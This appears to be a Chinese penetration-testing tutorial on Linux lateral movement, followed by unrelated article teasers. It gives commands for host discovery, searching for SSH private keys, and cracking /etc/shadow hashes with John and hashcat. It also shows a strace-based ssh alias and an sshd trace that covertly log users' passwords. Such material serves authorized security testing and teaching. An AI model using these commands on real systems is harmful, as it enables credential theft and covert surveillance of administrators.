Linux横向移动

Linux横向移动

主机存活探测

shell

for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 

arpscan

git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan

nbtscan Linux版

wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make

nbtscan -h

端口扫描

就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。

常用比如Ladon、fscan等等

https://github.com/k8gege/LadonGo

image-20220302152610697

SSH横向

这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同

SSH私钥泄露

不了解SSH私钥登录的可以看这篇文章

https://www.runoob.com/w3cnote/set-ssh-login-key.html

一般情况下SSH密钥存放在~/.ssh/目录下:

image-20220206184233761

id_rsa 为私钥,id_rsa.pub 为公钥

搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似**.ssh**目录下的搜索不到)

grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*

grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*

grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:

/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history 
~/.ssh/config 

known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config文件,这取决于/etc/ssh/ssh_config 文件中的该字段。

修改 /etc/ssh/ssh_config 文件,

HashKnownHosts no

image-20220207135811443

HashKnownHosts yes

image-20220207135832884

通过密钥进行登录

使用linux机器登录,用-i指定密钥文件的路径

image-20220207112841246

如果要在Windows上使用的话,例如putty:

使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。

载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。

今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。

破解SSH密钥

如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。

John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:

转换哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用综合密码字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破

SSH密码加密存储在/etc/shadow文件中,可以使用john the raper或者hashcat等工具尝试爆破。

shadow文件介绍

样例:

root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是X 则代表不能登录系统  
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数  
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再来解释一下$分割的各个部分的含义:
密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DES

qvhlqI7I:盐值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1     :hash值

John the rapper破解:

cp /etc/shadow shadow.txt             //直接保存shadow文件
unshadow /etc/passwd  /etc/shadow >shadow.txt   //如果有unshadow的话,也可以把这两个文件整合

john --wordlist=pass.txt shadow.txt   //利用字典进行破解
john --show shadow.txt        //查看破解信息

image-20220207161536066

hashcat破解(大字典推荐使用hashcat):

hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008

将/etc/shadow文件,提取密码字段保存hash.txt

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force

-m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
-a  是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
-o 是破解出来的信息输出结果文件,输出到found.txt文件中;
hash.txt 是我们上面保存的加密密码文件;
pass.txt 是我们的爆破密码,越大越精越好;
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项

image-20220207165438202

也可以使用hashcat hash --show来显示结果

image-20220207165237541

SSH Keylogger记录密码

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。

//在当前用户的shell环境中定义一个别名
vi ~/.bashrc

//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

//刷新当前的shell环境
source ~/.bashrc 

image-20220210101055597

设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。

设置完毕后,使用SSH登录其他机器:

image-20220210101624395

然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:

image-20220210102704161

image-20220210102722864

strace监听ssh来源流量

刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。

应用场景如:通过漏洞获取root权限,但是不知道明文密码。

ps -ef | grep sshd    //父进程PID

//运行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者后台 运行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &

image-20220210111523417

image-20220210111531398

image-20220210111555797

image-20220210111647559

image-20220210111447828

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/223463.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

现代雷达车载应用——第1章 雷达简介

“雷达”一词代表无线电探测和测距。雷达是一种电磁系统,用于探测、定位、跟踪和识别一定区域内的不同物体。雷达向目标方向发射电磁能量,以观察目标的回波。目标可以是船只、飞机、天体、汽车等。在早期,雷达系统由于体积庞大,成…

MATLAB Simulink +STM32硬件在环 (HIL)实现例程测试

MATLAB Simulink STM32硬件在环 (HIL)实现例程测试 📍相关篇《STM32CubeMxMATLAB Simulink点灯程序》✨本例程没有使用到STM32CubeMX来创建工程(在Simulink 中不是选择的STM32xxxbased类型的)。 🔖STM32xxx…

代码随想Day24 | 回溯法模板、77. 组合

理论基础 回溯法和递归不可分割,回溯法是一种穷举的方法,通常需要剪枝来降低复杂度。回溯法有一个选择并退回的过程,可以抽象为树结构,回溯法的模板如下: void backtracking(参数) {if (终止条件) {存放结果;return;}…

【数据结构】——二叉树简答题模板

目录 一、树和二叉树的概念(一)二叉树的定义和性质(二)树和二叉树的区别 二、完全二叉树和满二叉树三、二叉树的遍历(一)由序列确定二叉树(二)不同遍历序列的关系 四、二叉树的性质&…

在Vivado 仿真器中搭建UVM验证环境(不需要联合modelsim)

Vivado 集成设计环境支持将通用验证方法学 (UVM) 应用于 Vivado 仿真器。Vivado 提供了预编译的 UVM V1.2 库。 (1)在 Vivado 2019.2 中创建新 RTL 工程。 (2)单击“添加目录 (Add Directories)”以将“src”和“verif”目录添加…

【LeetCode】每日一题 2023_12_3 可获得的最大点数(前缀和/滑动窗口/贪心)

文章目录 刷题前唠嗑题目:可获得的最大点数题目描述代码与解题思路 结语 刷题前唠嗑 LeetCode?启动!!! 题目:可获得的最大点数 题目链接:1423. 可获得的最大点数 题目描述 代码与解题思路 …

Tuxera NTFS2024安装包下载教程

在听到小凡的电话说“Tuxera NTFS for Mac软件安装失败,怎么办”的时候,小编心里真像有一万头草泥马在奔腾——苹果软件还能安装失败!? 挥手把一万头草泥马赶走,脑补着苹果软件的安装,小编对着电话吼道&am…

【JavaEE进阶】 Spring 的创建和使⽤

文章目录 🌴前言🎋创建 Spring 项⽬🚩创建⼀个 Maven 项⽬🚩添加 Spring 框架⽀持🚩添加启动类 🌳存储 Bean 对象🚩创建Bean🚩将 Bean 注册到容器 🌲获取并使⽤ Bean 对象…

【头歌系统数据库实验】实验6 SQL的多表查询-2

目录 第1关:查询每个选手的信息及其提交的解答信息,没做题的选手不显示 第2关:查询做了1001题且耗时大于500(time)的选手信息 第3关:查询所有选手信息及其提交的解答信息,没做题的选手也要显…

nodeJS爬虫-爬取虎嗅新闻

1.安装依赖库到本地,需要的库有:安装方法见Node.js笔记说明 const superagent require(superagent); const cheerio require(cheerio); const async require(async); const fs require(fs); const url require(url); const request require(reques…

JVM 类加载机制(七)

1.加载,验证,准备,解析,初始化 ​ JVM 类加载机制分为五个部分:加载,验证,准备,解析,初始化,下面我们就分别来看一下这五个过程。 1.1. 加载 ​ 加载是类加…

【laBVIEW学习】4.声音播放,自定义图标,滚动条设置,保存参数以及恢复参数

一。声音播放(报错,未实现) 1.报错4810 2.解决方法: 暂时未解决。 二。图片修改 1.目标:灯泡---》自定义灯泡 2.步骤: 1.右键点击--》自定义运行 表示可以制作自定义类型 2.右键--》打开自定义类型 这样就…

Java文件导出实现流程(一)

Java文件导出实现流程 参考资料:https://blog.51cto.com/u_16175476/7509744 简介 在Java开发中,文件导出是一项常见的功能。它可以将数据以文件的形式保存到本地或者服务器中,方便用户进行查看和下载。本文将指导你如何使用Java实现文件导出…

Java利用UDP实现简单的双人聊天

一、创建新项目 首先创建一个新的项目,并命名。 二、实现代码 import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.net.*; import java.io.IOException; import java.lang.String; public class liaotian extends JFrame{ pri…

HXDSP2441-HXD(DSP)在线仿真器

HXD(DSP)在线仿真器 DSP下载器将数据通过网口转为JTAG时序,需用5V DC外部供电,下载器ip固定为192.168.1.40,PC与下载器正常连接后即可ping通,具体使用方法参考《HXD在线仿真器使用手册》,Demo板…

Linux--程序地址空间

📘北尘_:个人主页 🌎个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上,不忘来时的初心 [TOC](文章目录) 一、程序地址空间回顾 我们在讲C语言的时候,老师给大家画过这样的空间布局…

可视化监管云平台EasyCVR宠物粮食食品厂智能视频监控方案

由于我国养宠物群体的不断膨胀,宠物市场也占据了经济的很大一部分,宠物做为人类的好朋友,可以给人们带来极高的精神抚慰,作为“毛孩子”家长,爱宠人士自然不会亏待自家宠物,都会选择最好的口粮以供宠物食用…

力扣每日一题:2646. 最小化旅行的价格总和(2023-12-06)

力扣每日一题 题目:2646. 最小化旅行的价格总和 日期:2023-12-06 用时:30 m 14 s 时间:8ms 内存:42.98MB 思路:先统计旅行中每个节点路过的次数(dfs方法),再计算减半后的…

DriveWorks——参数化设计非标定制利器

DriveWorks基本介绍 DriveWorks是一套被 SOLIDWORKS 认可为金牌合作伙伴产品的设计自动化软件。DriveWorks 可自动创建特定于订单的销售文档和 SOLIDWORKS 制造数据。减少重复性任务,消除错误,增加销售额,并在创纪录的时间内交付定制产品。 为…

15.Servlet [一篇通]

文章目录 1.Servlet 是什么2.第一个 Servlet 程序2.1创建项目2.2引入依赖2.3创建目录2.4编写代码2.5打包程序2.6部署程序2.7验证程序 3.更方便的部署方式3.1安装 Smart Tomcat 插件3.2配置 Smart Tomcat 插件 4.访问出错怎么办?4.1出现 4044.2出现 4054.3出现 5004.4出现 &quo…